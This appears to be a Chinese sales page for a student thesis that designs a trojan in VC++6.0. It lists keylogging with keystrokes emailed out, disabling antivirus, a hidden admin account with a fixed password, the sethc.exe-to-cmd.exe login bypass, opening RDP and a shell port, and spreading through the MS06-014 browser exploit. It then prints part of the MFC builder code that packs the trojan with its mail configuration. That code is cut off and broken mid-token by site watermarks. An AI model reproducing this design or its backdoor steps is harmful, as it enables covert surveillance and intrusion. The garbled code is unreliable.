VC424 一个简单木马程序的设计VC++6.0
1.无需注册登录,支付后按照提示操作即可获取该资料.
2.资料以网页介绍的为准,下载后不会有水印.资料仅供学习参考之用.
密 惠 保
随着互联网技术的迅猛发展,网络给人们带来了很多便利,但是也带来了许多麻烦。各种网页木马,后门,下载者,病毒,利用各种漏洞,U盘,社会工程学在网上横行,给广大用户带来了重要资料丢失,提前泄密,照片被人恶意传播到网上,系统被格盘,系统被监视,摄像头被人暗中开启并录像等非常严重的后果。
本毕业设计使用VC++6.0为开发平台设计的一个简单的木马程序,功能包括:键盘记录,并定时把邮件内容成功发送到某邮箱中,关闭某些防火墙和杀毒软件,开机自动隐藏运行,开启2233端口取得CMD权限,实现对目标机器的文件操作,开启3389端口,并替换系统目录下的sethc.exe为cmd.exe,实现登录不要密码,添加管理员等功能。并可利用MS06-014或MS07-004等漏洞在没打补丁没杀毒软件或是杀毒软件没更新的windows2000,windowsXP,windows2003机子上实现通过网页传播。
〖本文来自:计算机毕业网 〗
木马的隐蔽性更强了,从原来的单纯隐藏在某个目录中,发展到了替换系统文件,修改文件修改时间等。
木马从EXE文件靠注册表启动,发展到了DLL文件远程线程插入,替换修改系统DLL文件,靠驱动文件等高级水准,更有写入系统核心中的。木马深藏在系统中,甚至在许多杀毒软件启动前启动,或者是绑定到杀毒软件上,或者修改杀毒软件规则,使得杀毒软件误以为它是合法文件,或者是将木马DLL文件插入到WINLOGON.EXE中,以至于在安全模式下也无法删除。有的病毒会在系统部分盘中,创建Autorun.inf文件,然后把病毒也复制到该目录下隐藏着,使得用户双击该盘时,运行该病毒,对此,某些用户格式化了系统盘再重装系统,也无法删除它。更有木马,病毒会感染某些盘中的EXE文件,COM文件,使得用户重装系统后,运行该文件后又运行病毒。
木门在被杀毒软件查杀后,一般马上就会有变种或是升级版本流传,通过对木马进行加壳,修改木马特征码,修改程序等手段使木马免杀。木马还包括ASP和PHP以及ASPX,JSP木马,它们能过网页的形式存在,也可以有很多功能,如常见的ASP木马就有如下功能:登录验证,上传下载文件,删除,复制,移动,编辑文件,新建文件,新建目录,搜索文件,更改文件名,查看文件修改时间,serv_u漏洞提权,查看服务器信息,查看环境变量,注册表操作,探查网站是否支持PHP,查找网站上已经存在的木马,包括已经加密后的,对服务器上所有盘的文件操作,对数据库进行操作,对网站文件进行打包以及解包,实现单页代理,进行cmd命令行操作,对整站进行挂马等功能。而简单的ASP,PHP,ASPX,JSP木马,则只有一句话。
1.3 本课题研究的意义
通过对木马病毒及其变形的分析,提出可行的防范措施,使更多的用户了解木马病毒,了解防火墙,了解杀毒软件,了解常给系统打补丁的作用,以及加密保管重要文件,机密文件脱机保管的重要性。
1.4 本课题的研究方法及目标
编写一个简单木马,通过网页传播,使用户了解其功能,传播方法,删除方法,危害性以及其变形后的可能情况。要实现以下目标:
1. 记录用户键盘输入 think58好,好think58
2. 获取本机IP地址
3. 添加管理员admin$密码admin888
4. 替换系统目录下的sethc.exe为cmd.exe
5. 关闭常见的防火墙,杀毒软件
6. 打开3389端口
7. 定时向指定邮箱发送邮件,内容为IP地址和键盘输入
8. 打开设定端口,取得目标主机的CMD权限
9. 把程序安装成系统服务,实现开机自启动
10. 使用MS06-014网页木马
11. 编写两个辅助程序
本文来自think58 [版权所有:http://think58.com]
[资料来源:http://think58.com]4. 替换系统目录下的sethc.exe为cmd.exe。实现出现系统登录时,不需要知道密码,连按5次SHIFT,就可以调出CMD.EXE,可在CMD.EXE中执行添加管理员的命令,也可以执行EXPLORER.EXE,进而打开桌面等。而远程桌面登录时,也可以通过此项调出CMD.EXE程序
5. 关闭常见防火墙和杀毒软件
6. 打开3389端口
7. 定时向指定邮箱发送邮件,内容为本机IP和键盘输入
8. 打开设定端口,取得目标主机的cmd权限
9. 把程序安装成服务,实现自启动
10.使用Ms06-014网页木马
11.编写两个辅助程序
3 程序设计
3.1 辅佐程序设计
为了使用配置程序,需要设两个辅助程序,来实现合并程序,生成木马程序并将配置文件写入木马程序中。通过VC++6.0,建一个如图1的MFC程序。第一个文件读取按钮,代码如下:
void CAddTwoDlg::OnBtnfile1()
{
CFileDialog dlg(true);
if(dlg.DoModal()==IDOK)
{
m_file1=dlg.GetPathName();
UpdateData(0); //将取得的文件名更新到文本框1中
}
}〖本文来自:计算机毕业网 〗 copyright think58 [来源:http://www.think58.com]
配置木马程序代码:
void CNneDlg::OnBtnmake()
{
UpdateData(1);
char path[256]={0}; //文件2 从文件1中分离出来
GetCurrentDirectory(256,path) ;//取得当前文件夹路径!
CString file1;
CString file2;
file1.Format("%s\\config.exe",path);
file2.Format("%s\\trojan.exe",path);
CFile fSource(file1,CFile::modeRead | CFile::modeNoTruncate);
int iSourceLength = fSource.GetLength();
fSource.Seek(iSourceLength-30,CFile::begin);
char buffer[40];
ZeroMemory(buffer,40);
fSource.Read(buffer,30);
int iTargetLength = atoi(buffer);
fSource.Seek(iSourceLength-iTargetLength-30,CFile::begin);
CFile fTarget(file2,CFile::modeCreate|CFile::modeWrite|CFile::modeNoTruncate);
char *pBuffer = new char[iTargetLength];
ZeroMemory(pBuffer,iTargetLength);
fSource.Read(pBuffer,iTargetLength); 内容来自think58 [资料来源:www.THINK58.com]
fTarget.Write(pBuffer,iTargetLength);
delete []pBuffer;
fSource.Close();
fTarget.Close();
CString file3; //将配置写入一文本文件
file3.Format("%s\\config.txt",path);
FILE *pFile=fopen(file3,"w+");
fwrite(m_smtp,1,m_smtp.GetLength(),pFile);
char ch=10;
fputc(ch,pFile);
//将邮箱用户名加密
fwrite(encrypt(m_username),1,encrypt(m_username).GetLength(),pFile);
fwrite(m_username,1,m_username.GetLength(),pFile);
fputc(ch,pFile);
fwrite(m_password,1,m_password.GetLength(),pFile);
fputc(ch,pFile);
CString xxx;
GetDlgItemText(IDC_EDIT_time,xxx);
fwrite(xxx,1,xxx.GetLength(),pFile);
fputc(ch,pFile);
CString pport;
GetDlgItemText(IDC_EDIT_port,pport);
fwrite(pport,1,pport.GetLength(),pFile);
fputc(ch,pFile);
fclose(pFile);
//将配置文件加到程序尾部
CFile fff(file2,CFile::modeReadWrite | CFile::modeNoTruncate); think58.com
fff.SeekToEnd();
CFile fConfigFile(file3,CFile::modeRead | CFile::modeNoTruncate);
int ilen = fConfigFile.GetLength();
int len = ilen;
char *pBuff = new char[ilen];
ZeroMemory(pBuff,ilen);
fConfigFile.Read(pBuff,ilen);
fff.Write(pBuff,ilen);
fConfigFile.Close();
delete pBuff;
char tempBuff[30];
ZeroM〖本文来自:计算机毕业网 〗 emory(tempBuff,30);
itoa(ilen,tempBuff,10);
while (strlen(tempBuff) < 30) think58.com [来源:http://www.think58.com]
内容来自think58